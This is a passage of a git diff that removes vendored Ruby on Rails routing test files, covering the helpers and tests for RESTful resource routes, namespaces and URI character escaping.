-    with_routing do |set|
-      set.draw do |map|
-        map.resources :messages, :collection => {:search => :get}, :new => {:preview => :any}, :name_prefix => 'thread_', :path_prefix => '/threads/:thread_id'
-        map.resource :account, :member => {:login => :get}, :new => {:preview => :any}, :name_prefix => 'admin_', :path_prefix => '/admin'
-      end
-
-      action_separator = ActionController::Base.resource_action_separator
-
-      assert_simply_restful_for :messages, :name_prefix => 'thread_', :path_prefix => 'threads/1/', :options => { :thread_id => '1' }
-      assert_named_route "/threads/1/messages#{action_separator}search", "search_thread_messages_path", {}
-      assert_named_route "/threads/1/messages/new", "new_thread_message_path", {}
-      assert_named_route "/threads/1/messages/new#{action_separator}preview", "preview_new_thread_message_path", {}
-      assert_singleton_restful_for :account, :name_prefix => 'admin_', :path_prefix => 'admin/'
-      assert_named_route "/admin/account#{action_separator}login", "login_admin_account_path", {}
-      assert_named_route "/admin/account/new", "new_admin_account_path", {}
-      assert_named_route "/admin/account/new#{action_separator}preview", "preview_new_admin_account_path", {}
-    end
-  end
-
-  def test_new_style_named_routes_for_resource
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :messages, :collection => {:search => :get}, :new => {:preview => :any}, :name_prefix => 'thread_', :path_prefix => '/threads/:thread_id'
-      end
-      assert_simply_restful_for :messages, :name_prefix => 'thread_', :path_prefix => 'threads/1/', :options => { :thread_id => '1' }
-      assert_named_route "/threads/1/messages/search", "search_thread_messages_path", {}
-      assert_named_route "/threads/1/messages/new", "new_thread_message_path", {}
-      assert_named_route "/threads/1/messages/new/preview", "preview_new_thread_message_path", {}
-    end
-  end
-
-  def test_new_style_named_routes_for_singleton_resource
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :account, :member => {:login => :get}, :new => {:preview => :any}, :name_prefix => 'admin_', :path_prefix => '/admin'
-      end
-      assert_singleton_restful_for :account, :name_prefix => 'admin_', :path_prefix => 'admin/'
-      assert_named_route "/admin/account/login", "login_admin_account_path", {}
-      assert_named_route "/admin/account/new", "new_admin_account_path", {}
-      assert_named_route "/admin/account/new/preview", "preview_new_admin_account_path", {}
-    end
-  end
-
-  def test_resources_in_namespace
-    with_routing do |set|
-      set.draw do |map|
-        map.namespace :backoffice do |backoffice|
-          backoffice.resources :products
-        end
-      end
-
-      assert_simply_restful_for :products, :controller => "backoffice/products", :name_prefix => 'backoffice_', :path_prefix => 'backoffice/'
-    end
-  end
-
-  def test_resource_has_many_in_namespace
-    with_routing do |set|
-      set.draw do |map|
-        map.namespace :backoffice do |backoffice|
-          backoffice.resources :products, :has_many => :tags
-        end
-      end
-
-      assert_simply_restful_for :products,  :controller => "backoffice/products", :name_prefix => 'backoffice_',          :path_prefix => 'backoffice/'
-      assert_simply_restful_for :tags,      :controller => "backoffice/tags",     :name_prefix => "backoffice_product_",  :path_prefix => 'backoffice/products/1/', :options => { :product_id => '1' }
-    end
-  end
-
-  def test_resource_has_one_in_namespace
-    with_routing do |set|
-      set.draw do |map|
-        map.namespace :backoffice do |backoffice|
-          backoffice.resources :products, :has_one => :manufacturer
-        end
-      end
-
-      assert_simply_restful_for :products, :controller => "backoffice/products", :name_prefix => 'backoffice_', :path_prefix => 'backoffice/'
-      assert_singleton_restful_for :manufacturer, :controller => "backoffice/manufacturers", :name_prefix => 'backoffice_product_', :path_prefix => 'backoffice/products/1/', :options => { :product_id => '1' }
-    end
-  end
-
-  def test_resources_in_nested_namespace
-    with_routing do |set|
-      set.draw do |map|
-        map.namespace :backoffice do |backoffice|
-          backoffice.namespace :admin do |admin|
-            admin.resources :products
-          end
-        end
-      end
-
-      assert_simply_restful_for :products, :controller => "backoffice/admin/products", :name_prefix => 'backoffice_admin_', :path_prefix => 'backoffice/admin/'
-    end
-  end
-
-  def test_resources_using_namespace
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :namespace => "backoffice/"
-      end
-
-      assert_simply_restful_for :products, :controller => "backoffice/products"
-    end
-  end
-
-  def test_nested_resources_using_namespace
-    with_routing do |set|
-      set.draw do |map|
-        map.namespace :backoffice do |backoffice|
-          backoffice.resources :products do |products|
-            products.resources :images
-          end
-        end
-      end
-
-      assert_simply_restful_for :images, :controller => "backoffice/images", :name_prefix => 'backoffice_product_', :path_prefix => 'backoffice/products/1/', :options => {:product_id => '1'}
-    end
-  end
-
-  def test_nested_resources_in_nested_namespace
-    with_routing do |set|
-      set.draw do |map|
-        map.namespace :backoffice do |backoffice|
-          backoffice.namespace :admin do |admin|
-            admin.resources :products do |products|
-              products.resources :images
-            end
-          end
-        end
-      end
-
-      assert_simply_restful_for :images, :controller => "backoffice/admin/images", :name_prefix => 'backoffice_admin_product_', :path_prefix => 'backoffice/admin/products/1/', :options => {:product_id => '1'}
-    end
-  end
-
-  def test_with_path_segment
-    with_restful_routing :messages do
-      assert_simply_restful_for :messages
-      assert_recognizes({:controller => "messages", :action => "index"}, "/messages")
-      assert_recognizes({:controller => "messages", :action => "index"}, "/messages/")
-    end
-
-     with_restful_routing :messages, :as => 'reviews' do
-       assert_simply_restful_for :messages, :as => 'reviews'
-      assert_recognizes({:controller => "messages", :action => "index"}, "/reviews")
-      assert_recognizes({:controller => "messages", :action => "index"}, "/reviews/")
-     end
-  end
-
-  def test_multiple_with_path_segment_and_controller
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products do |products|
-          products.resources :product_reviews, :as => 'reviews', :controller => 'messages'
-        end
-        map.resources :tutors do |tutors|
-          tutors.resources :tutor_reviews, :as => 'reviews', :controller => 'comments'
-        end
-      end
-
-      assert_simply_restful_for :product_reviews, :controller=>'messages', :as => 'reviews', :name_prefix => 'product_', :path_prefix => 'products/1/', :options => {:product_id => '1'}
-      assert_simply_restful_for :tutor_reviews,:controller=>'comments', :as => 'reviews', :name_prefix => 'tutor_', :path_prefix => 'tutors/1/', :options => {:tutor_id => '1'}
-    end
-  end
-
-  def test_with_path_segment_path_prefix_requirements
-    expected_options = {:controller => 'messages', :action => 'show', :thread_id => '1.1.1', :id => '1'}
-    with_restful_routing :messages, :as => 'comments',:path_prefix => '/thread/:thread_id', :requirements => { :thread_id => /[0-9]\.[0-9]\.[0-9]/ } do
-      assert_recognizes(expected_options, :path => 'thread/1.1.1/comments/1', :method => :get)
-    end
-  end
-
-  def test_resource_has_only_show_action
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :only => :show
-      end
-
-      assert_resource_allowed_routes('products', {},                    { :id => '1' }, :show, [:index, :new, :create, :edit, :update, :destroy])
-      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, :show, [:index, :new, :create, :edit, :update, :destroy])
-    end
-  end
-
-  def test_singleton_resource_has_only_show_action
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :account, :only => :show
-      end
-
-      assert_singleton_resource_allowed_routes('accounts', {},                    :show, [:index, :new, :create, :edit, :update, :destroy])
-      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  :show, [:index, :new, :create, :edit, :update, :destroy])
-    end
-  end
-
-  def test_resource_does_not_have_destroy_action
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :except => :destroy
-      end
-
-      assert_resource_allowed_routes('products', {},                    { :id => '1' }, [:index, :new, :create, :show, :edit, :update], :destroy)
-      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, [:index, :new, :create, :show, :edit, :update], :destroy)
-    end
-  end
-
-  def test_singleton_resource_does_not_have_destroy_action
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :account, :except => :destroy
-      end
-
-      assert_singleton_resource_allowed_routes('accounts', {},                    [:new, :create, :show, :edit, :update], :destroy)
-      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  [:new, :create, :show, :edit, :update], :destroy)
-    end
-  end
-
-  def test_resource_has_only_create_action_and_named_route
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :only => :create
-      end
-
-      assert_resource_allowed_routes('products', {},                    { :id => '1' }, :create, [:index, :new, :show, :edit, :update, :destroy])
-      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, :create, [:index, :new, :show, :edit, :update, :destroy])
-
-      assert_not_nil set.named_routes[:products]
-    end
-  end
-
-  def test_resource_has_only_update_action_and_named_route
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :only => :update
-      end
-
-      assert_resource_allowed_routes('products', {},                    { :id => '1' }, :update, [:index, :new, :create, :show, :edit, :destroy])
-      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, :update, [:index, :new, :create, :show, :edit, :destroy])
-
-      assert_not_nil set.named_routes[:product]
-    end
-  end
-
-  def test_resource_has_only_destroy_action_and_named_route
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :only => :destroy
-      end
-
-      assert_resource_allowed_routes('products', {},                    { :id => '1' }, :destroy, [:index, :new, :create, :show, :edit, :update])
-      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, :destroy, [:index, :new, :create, :show, :edit, :update])
-
-      assert_not_nil set.named_routes[:product]
-    end
-  end
-
-  def test_singleton_resource_has_only_create_action_and_named_route
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :account, :only => :create
-      end
-
-      assert_singleton_resource_allowed_routes('accounts', {},                    :create, [:new, :show, :edit, :update, :destroy])
-      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  :create, [:new, :show, :edit, :update, :destroy])
-
-      assert_not_nil set.named_routes[:account]
-    end
-  end
-
-  def test_singleton_resource_has_only_update_action_and_named_route
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :account, :only => :update
-      end
-
-      assert_singleton_resource_allowed_routes('accounts', {},                    :update, [:new, :create, :show, :edit, :destroy])
-      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  :update, [:new, :create, :show, :edit, :destroy])
-
-      assert_not_nil set.named_routes[:account]
-    end
-  end
-
-  def test_singleton_resource_has_only_destroy_action_and_named_route
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :account, :only => :destroy
-      end
-
-      assert_singleton_resource_allowed_routes('accounts', {},                    :destroy, [:new, :create, :show, :edit, :update])
-      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  :destroy, [:new, :create, :show, :edit, :update])
-
-      assert_not_nil set.named_routes[:account]
-    end
-  end
-
-  def test_resource_has_only_collection_action
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :except => :all, :collection => { :sale => :get }
-      end
-
-      assert_resource_allowed_routes('products', {},                    { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
-      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
-
-      assert_recognizes({ :controller => 'products', :action => 'sale' },                   :path => 'products/sale',     :method => :get)
-      assert_recognizes({ :controller => 'products', :action => 'sale', :format => 'xml' }, :path => 'products/sale.xml', :method => :get)
-    end
-  end
-
-  def test_resource_has_only_member_action
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :except => :all, :member => { :preview => :get }
-      end
-
-      assert_resource_allowed_routes('products', {},                    { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
-      assert_resource_allowed_routes('products', { :format => 'xml' },  { :id => '1' }, [], [:index, :new, :create, :show, :edit, :update, :destroy])
-
-      assert_recognizes({ :controller => 'products', :action => 'preview', :id => '1' },                    :path => 'products/1/preview',      :method => :get)
-      assert_recognizes({ :controller => 'products', :action => 'preview', :id => '1', :format => 'xml' },  :path => 'products/1/preview.xml',  :method => :get)
-    end
-  end
-
-  def test_singleton_resource_has_only_member_action
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :account, :except => :all, :member => { :signup => :get }
-      end
-
-      assert_singleton_resource_allowed_routes('accounts', {},                    [], [:new, :create, :show, :edit, :update, :destroy])
-      assert_singleton_resource_allowed_routes('accounts', { :format => 'xml' },  [], [:new, :create, :show, :edit, :update, :destroy])
-
-      assert_recognizes({ :controller => 'accounts', :action => 'signup' },                   :path => 'account/signup',      :method => :get)
-      assert_recognizes({ :controller => 'accounts', :action => 'signup', :format => 'xml' }, :path => 'account/signup.xml',  :method => :get)
-    end
-  end
-
-  def test_nested_resource_has_only_show_and_member_action
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :only => [:index, :show] do |product|
-          product.resources :images, :member => { :thumbnail => :get }, :only => :show
-        end
-      end
-
-      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
-      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
-
-      assert_recognizes({ :controller => 'images', :action => 'thumbnail', :product_id => '1', :id => '2' },                    :path => 'products/1/images/2/thumbnail', :method => :get)
-      assert_recognizes({ :controller => 'images', :action => 'thumbnail', :product_id => '1', :id => '2', :format => 'jpg' },  :path => 'products/1/images/2/thumbnail.jpg', :method => :get)
-    end
-  end
-
-  def test_nested_resource_does_not_inherit_only_option
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :only => :show do |product|
-          product.resources :images, :except => :destroy
-        end
-      end
-
-      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update], :destroy, 'products/1/images')
-      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, [:index, :new, :create, :show, :edit, :update], :destroy, 'products/1/images')
-    end
-  end
-
-  def test_nested_resource_does_not_inherit_only_option_by_default
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :only => :show do |product|
-          product.resources :images
-        end
-      end
-
-      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destory], [], 'products/1/images')
-      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
-    end
-  end
-
-  def test_nested_resource_does_not_inherit_except_option
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :except => :show do |product|
-          product.resources :images, :only => :destroy
-        end
-      end
-
-      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, :destroy, [:index, :new, :create, :show, :edit, :update], 'products/1/images')
-      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, :destroy, [:index, :new, :create, :show, :edit, :update], 'products/1/images')
-    end
-  end
-
-  def test_nested_resource_does_not_inherit_except_option_by_default
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :except => :show do |product|
-          product.resources :images
-        end
-      end
-
-      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
-      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
-    end
-  end
-
-  def test_default_singleton_restful_route_uses_get
-    with_routing do |set|
-      set.draw do |map|
-        map.resource :product
-      end
-
-      assert_equal :get, set.named_routes.routes[:product].conditions[:method]
-    end
-  end
-
-  protected
-    def with_restful_routing(*args)
-      with_routing do |set|
-        set.draw { |map| map.resources(*args) }
-        yield
-      end
-    end
-
-    def with_singleton_resources(*args)
-      with_routing do |set|
-        set.draw { |map| map.resource(*args) }
-        yield
-      end
-    end
-
-    # runs assert_restful_routes_for and assert_restful_named_routes for on the controller_name and options, without passing a block.
-    def assert_simply_restful_for(controller_name, options = {})
-      assert_restful_routes_for       controller_name, options
-      assert_restful_named_routes_for controller_name, nil, options
-    end
-
-    def assert_singleton_restful_for(singleton_name, options = {})
-      assert_singleton_routes_for       singleton_name, options
-      assert_singleton_named_routes_for singleton_name, options
-    end
-
-    def assert_restful_routes_for(controller_name, options = {})
-      options[:options] ||= {}
-      options[:options][:controller] = options[:controller] || controller_name.to_s
-
-      if options[:shallow]
-        options[:shallow_options] ||= {}
-        options[:shallow_options][:controller] = options[:options][:controller]
-      else
-        options[:shallow_options] = options[:options]
-      end
-
-      new_action    = ActionController::Base.resources_path_names[:new] || "new"
-      edit_action   = ActionController::Base.resources_path_names[:edit] || "edit"
-      if options[:path_names]
-        new_action  = options[:path_names][:new] if options[:path_names][:new]
-        edit_action = options[:path_names][:edit] if options[:path_names][:edit]
-      end
-
-      path                       = "#{options[:as] || controller_name}"
-      collection_path            = "/#{options[:path_prefix]}#{path}"
-      shallow_path               = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
-      member_path                = "#{shallow_path}/1"
-      new_path                   = "#{collection_path}/#{new_action}"
-      edit_member_path           = "#{member_path}/#{edit_action}"
-      formatted_edit_member_path = "#{member_path}/#{edit_action}.xml"
-
-      with_options(options[:options]) do |controller|
-        controller.assert_routing collection_path,            :action => 'index'
-        controller.assert_routing new_path,                   :action => 'new'
-        controller.assert_routing "#{collection_path}.xml",   :action => 'index',            :format => 'xml'
-        controller.assert_routing "#{new_path}.xml",          :action => 'new',              :format => 'xml'
-      end
-
-      with_options(options[:shallow_options]) do |controller|
-        controller.assert_routing member_path,                :action => 'show', :id => '1'
-        controller.assert_routing edit_member_path,           :action => 'edit', :id => '1'
-        controller.assert_routing "#{member_path}.xml",       :action => 'show', :id => '1', :format => 'xml'
-        controller.assert_routing formatted_edit_member_path, :action => 'edit', :id => '1', :format => 'xml'
-      end
-
-      assert_recognizes(options[:options].merge(:action => 'index'),               :path => collection_path,  :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'new'),                 :path => new_path,         :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'create'),              :path => collection_path,  :method => :post)
-      assert_recognizes(options[:shallow_options].merge(:action => 'show',    :id => '1'), :path => member_path,      :method => :get)
-      assert_recognizes(options[:shallow_options].merge(:action => 'edit',    :id => '1'), :path => edit_member_path, :method => :get)
-      assert_recognizes(options[:shallow_options].merge(:action => 'update',  :id => '1'), :path => member_path,      :method => :put)
-      assert_recognizes(options[:shallow_options].merge(:action => 'destroy', :id => '1'), :path => member_path,      :method => :delete)
-
-      assert_recognizes(options[:options].merge(:action => 'index',  :format => 'xml'), :path => "#{collection_path}.xml",   :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'new',    :format => 'xml'), :path => "#{new_path}.xml",          :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'create', :format => 'xml'), :path => "#{collection_path}.xml",   :method => :post)
-      assert_recognizes(options[:shallow_options].merge(:action => 'show',    :id => '1', :format => 'xml'), :path => "#{member_path}.xml",       :method => :get)
-      assert_recognizes(options[:shallow_options].merge(:action => 'edit',    :id => '1', :format => 'xml'), :path => formatted_edit_member_path, :method => :get)
-      assert_recognizes(options[:shallow_options].merge(:action => 'update',  :id => '1', :format => 'xml'), :path => "#{member_path}.xml",       :method => :put)
-      assert_recognizes(options[:shallow_options].merge(:action => 'destroy', :id => '1', :format => 'xml'), :path => "#{member_path}.xml",       :method => :delete)
-
-      yield options[:options] if block_given?
-    end
-
-    # test named routes like foo_path and foos_path map to the correct options.
-    def assert_restful_named_routes_for(controller_name, singular_name = nil, options = {})
-      if singular_name.is_a?(Hash)
-        options       = singular_name
-        singular_name = nil
-      end
-      singular_name ||= controller_name.to_s.singularize
-
-      options[:options] ||= {}
-      options[:options][:controller] = options[:controller] || controller_name.to_s
-
-      if options[:shallow]
-        options[:shallow_options] ||= {}
-        options[:shallow_options][:controller] = options[:options][:controller]
-      else
-        options[:shallow_options] = options[:options]
-      end
-
-      @controller = "#{options[:options][:controller].camelize}Controller".constantize.new
-      @request    = ActionController::TestRequest.new
-      @response   = ActionController::TestResponse.new
-      get :index, options[:options]
-      options[:options].delete :action
-
-      path = "#{options[:as] || controller_name}"
-      shallow_path = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
-      full_path = "/#{options[:path_prefix]}#{path}"
-      name_prefix = options[:name_prefix]
-      shallow_prefix = options[:shallow] ? options[:namespace].try(:gsub, /\//, '_') : options[:name_prefix]
-
-      new_action  = "new"
-      edit_action = "edit"
-      if options[:path_names]
-        new_action  = options[:path_names][:new]  || "new"
-        edit_action = options[:path_names][:edit] || "edit"
-      end
-
-      assert_named_route "#{full_path}", "#{name_prefix}#{controller_name}_path", options[:options]
-      assert_named_route "#{full_path}.xml", "#{name_prefix}#{controller_name}_path", options[:options].merge(:format => 'xml')
-      assert_named_route "#{shallow_path}/1", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1')
-      assert_named_route "#{shallow_path}/1.xml", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
-
-      assert_named_route "#{full_path}/#{new_action}", "new_#{name_prefix}#{singular_name}_path", options[:options]
-      assert_named_route "#{full_path}/#{new_action}.xml", "new_#{name_prefix}#{singular_name}_path", options[:options].merge(:format => 'xml')
-      assert_named_route "#{shallow_path}/1/#{edit_action}", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1')
-      assert_named_route "#{shallow_path}/1/#{edit_action}.xml", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
-
-      yield options[:options] if block_given?
-    end
-
-    def assert_singleton_routes_for(singleton_name, options = {})
-      options[:options] ||= {}
-      options[:options][:controller] = options[:controller] || singleton_name.to_s.pluralize
-
-      full_path           = "/#{options[:path_prefix]}#{options[:as] || singleton_name}"
-      new_path            = "#{full_path}/new"
-      edit_path           = "#{full_path}/edit"
-      formatted_edit_path = "#{full_path}/edit.xml"
-
-      with_options options[:options] do |controller|
-        controller.assert_routing full_path,           :action => 'show'
-        controller.assert_routing new_path,            :action => 'new'
-        controller.assert_routing edit_path,           :action => 'edit'
-        controller.assert_routing "#{full_path}.xml",  :action => 'show', :format => 'xml'
-        controller.assert_routing "#{new_path}.xml",   :action => 'new',  :format => 'xml'
-        controller.assert_routing formatted_edit_path, :action => 'edit', :format => 'xml'
-      end
-
-      assert_recognizes(options[:options].merge(:action => 'show'),    :path => full_path, :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'new'),     :path => new_path,  :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'edit'),    :path => edit_path, :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'create'),  :path => full_path, :method => :post)
-      assert_recognizes(options[:options].merge(:action => 'update'),  :path => full_path, :method => :put)
-      assert_recognizes(options[:options].merge(:action => 'destroy'), :path => full_path, :method => :delete)
-
-      assert_recognizes(options[:options].merge(:action => 'show',    :format => 'xml'), :path => "#{full_path}.xml",  :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'new',     :format => 'xml'), :path => "#{new_path}.xml",   :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'edit',    :format => 'xml'), :path => formatted_edit_path, :method => :get)
-      assert_recognizes(options[:options].merge(:action => 'create',  :format => 'xml'), :path => "#{full_path}.xml",  :method => :post)
-      assert_recognizes(options[:options].merge(:action => 'update',  :format => 'xml'), :path => "#{full_path}.xml",  :method => :put)
-      assert_recognizes(options[:options].merge(:action => 'destroy', :format => 'xml'), :path => "#{full_path}.xml",  :method => :delete)
-
-      yield options[:options] if block_given?
-    end
-
-    def assert_singleton_named_routes_for(singleton_name, options = {})
-      (options[:options] ||= {})[:controller] ||= singleton_name.to_s.pluralize
-      @controller = "#{options[:options][:controller].camelize}Controller".constantize.new
-      @request    = ActionController::TestRequest.new
-      @response   = ActionController::TestResponse.new
-      get :show, options[:options]
-      options[:options].delete :action
-
-      full_path = "/#{options[:path_prefix]}#{options[:as] || singleton_name}"
-      name_prefix = options[:name_prefix]
-
-      assert_named_route "#{full_path}",          "#{name_prefix}#{singleton_name}_path",                options[:options]
-      assert_named_route "#{full_path}.xml",      "#{name_prefix}#{singleton_name}_path",      options[:options].merge(:format => 'xml')
-
-      assert_named_route "#{full_path}/new",      "new_#{name_prefix}#{singleton_name}_path",            options[:options]
-      assert_named_route "#{full_path}/new.xml",  "new_#{name_prefix}#{singleton_name}_path",  options[:options].merge(:format => 'xml')
-      assert_named_route "#{full_path}/edit",     "edit_#{name_prefix}#{singleton_name}_path",           options[:options]
-      assert_named_route "#{full_path}/edit.xml", "edit_#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml')
-    end
-
-    def assert_named_route(expected, route, options)
-      actual =  @controller.send(route, options) rescue $!.class.name
-      assert_equal expected, actual, "Error on route: #{route}(#{options.inspect})"
-    end
-
-    def assert_resource_methods(expected, resource, action_method, method)
-      assert_equal expected.length, resource.send("#{action_method}_methods")[method].size, "#{resource.send("#{action_method}_methods")[method].inspect}"
-      expected.each do |action|
-        assert resource.send("#{action_method}_methods")[method].include?(action),
-          "#{method} not in #{action_method} methods: #{resource.send("#{action_method}_methods")[method].inspect}"
-      end
-    end
-
-    def assert_resource_allowed_routes(controller, options, shallow_options, allowed, not_allowed, path = controller)
-      shallow_path = "#{path}/#{shallow_options[:id]}"
-      format = options[:format] && ".#{options[:format]}"
-      options.merge!(:controller => controller)
-      shallow_options.merge!(options)
-
-      assert_whether_allowed(allowed, not_allowed, options,         'index',    "#{path}#{format}",               :get)
-      assert_whether_allowed(allowed, not_allowed, options,         'new',      "#{path}/new#{format}",           :get)
-      assert_whether_allowed(allowed, not_allowed, options,         'create',   "#{path}#{format}",               :post)
-      assert_whether_allowed(allowed, not_allowed, shallow_options, 'show',     "#{shallow_path}#{format}",       :get)
-      assert_whether_allowed(allowed, not_allowed, shallow_options, 'edit',     "#{shallow_path}/edit#{format}",  :get)
-      assert_whether_allowed(allowed, not_allowed, shallow_options, 'update',   "#{shallow_path}#{format}",       :put)
-      assert_whether_allowed(allowed, not_allowed, shallow_options, 'destroy',  "#{shallow_path}#{format}",       :delete)
-    end
-
-    def assert_singleton_resource_allowed_routes(controller, options, allowed, not_allowed, path = controller.singularize)
-      format = options[:format] && ".#{options[:format]}"
-      options.merge!(:controller => controller)
-
-      assert_whether_allowed(allowed, not_allowed, options, 'new',      "#{path}/new#{format}",   :get)
-      assert_whether_allowed(allowed, not_allowed, options, 'create',   "#{path}#{format}",       :post)
-      assert_whether_allowed(allowed, not_allowed, options, 'show',     "#{path}#{format}",       :get)
-      assert_whether_allowed(allowed, not_allowed, options, 'edit',     "#{path}/edit#{format}",  :get)
-      assert_whether_allowed(allowed, not_allowed, options, 'update',   "#{path}#{format}",       :put)
-      assert_whether_allowed(allowed, not_allowed, options, 'destroy',  "#{path}#{format}",       :delete)
-    end
-
-    def assert_whether_allowed(allowed, not_allowed, options, action, path, method)
-      action = action.to_sym
-      options = options.merge(:action => action.to_s)
-      path_options = { :path => path, :method => method }
-
-      if Array(allowed).include?(action)
-        assert_recognizes options, path_options
-      elsif Array(not_allowed).include?(action)
-        assert_not_recognizes options, path_options
-      end
-    end
-
-    def assert_not_recognizes(expected_options, path)
-      assert_raise ActionController::RoutingError, ActionController::MethodNotAllowed, Assertion do
-        assert_recognizes(expected_options, path)
-      end
-    end
-
-    def distinct_routes? (r1, r2)
-      if r1.conditions == r2.conditions and r1.requirements == r2.requirements then
-        if r1.segments.collect(&:to_s) == r2.segments.collect(&:to_s) then
-          return false
-        end
-      end
-      true
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/routing_test.rb b/vendor/rails/actionpack/test/controller/routing_test.rb
deleted file mode 100644
index fc4804f7..00000000
--- a/vendor/rails/actionpack/test/controller/routing_test.rb
+++ /dev/null
@@ -1,2592 +0,0 @@
-# encoding: us-ascii
-require 'abstract_unit'
-require 'controller/fake_controllers'
-require 'action_controller/routing/route_set'
-
-class MilestonesController < ActionController::Base
-  def index() head :ok end
-  alias_method :show, :index
-  def rescue_action(e) raise e end
-end
-
-RunTimeTests = ARGV.include? 'time'
-ROUTING = ActionController::Routing
-
-class ROUTING::RouteBuilder
-  attr_reader :warn_output
-
-  def warn(msg)
-    (@warn_output ||= []) << msg
-  end
-end
-
-# See RFC 3986, section 3.3 for allowed path characters.
-class UriReservedCharactersRoutingTest < Test::Unit::TestCase
-  def setup
-    ActionController::Routing.use_controllers! ['controller']
-    @set = ActionController::Routing::RouteSet.new
-    @set.draw do |map|
-      map.connect ':controller/:action/:variable/*additional'
-    end
-
-    safe, unsafe = %w(: @ & = + $ , ;), %w(^ / ? # [ ])
-    hex = unsafe.map { |char| '%' + char.unpack('H2').first.upcase }
-
-    @segment = "#{safe.join}#{unsafe.join}".freeze
-    @escaped = "#{safe.join}#{hex.join}".freeze
-  end
-
-  def test_route_generation_escapes_unsafe_path_characters
-    assert_equal "/contr#{@segment}oller/act#{@escaped}ion/var#{@escaped}iable/add#{@escaped}itional-1/add#{@escaped}itional-2",
-      @set.generate(:controller => "contr#{@segment}oller",
-                    :action => "act#{@segment}ion",
-                    :variable => "var#{@segment}iable",
-                    :additional => ["add#{@segment}itional-1", "add#{@segment}itional-2"])
-  end
-
-  def test_route_recognition_unescapes_path_components
-    options = { :controller => "controller",
-                :action => "act#{@segment}ion",
-                :variable => "var#{@segment}iable",
-                :additional => ["add#{@segment}itional-1", "add#{@segment}itional-2"] }
-    assert_equal options, @set.recognize_path("/controller/act#{@escaped}ion/var#{@escaped}iable/add#{@escaped}itional-1/add#{@escaped}itional-2")
-  end
-
-  def test_route_generation_allows_passing_non_string_values_to_generated_helper
-    assert_equal "/controller/action/variable/1/2", @set.generate(:controller => "controller",
-                                                                  :action => "action",
-                                                                  :variable => "variable",
-                                                                  :additional => [1, 2])
-  end
-end
-
-class SegmentTest < Test::Unit::TestCase
-  def test_first_segment_should_interpolate_for_structure
-    s = ROUTING::Segment.new
-    def s.interpolation_statement(array) 'hello' end
-    assert_equal 'hello', s.continue_string_structure([])
-  end
-
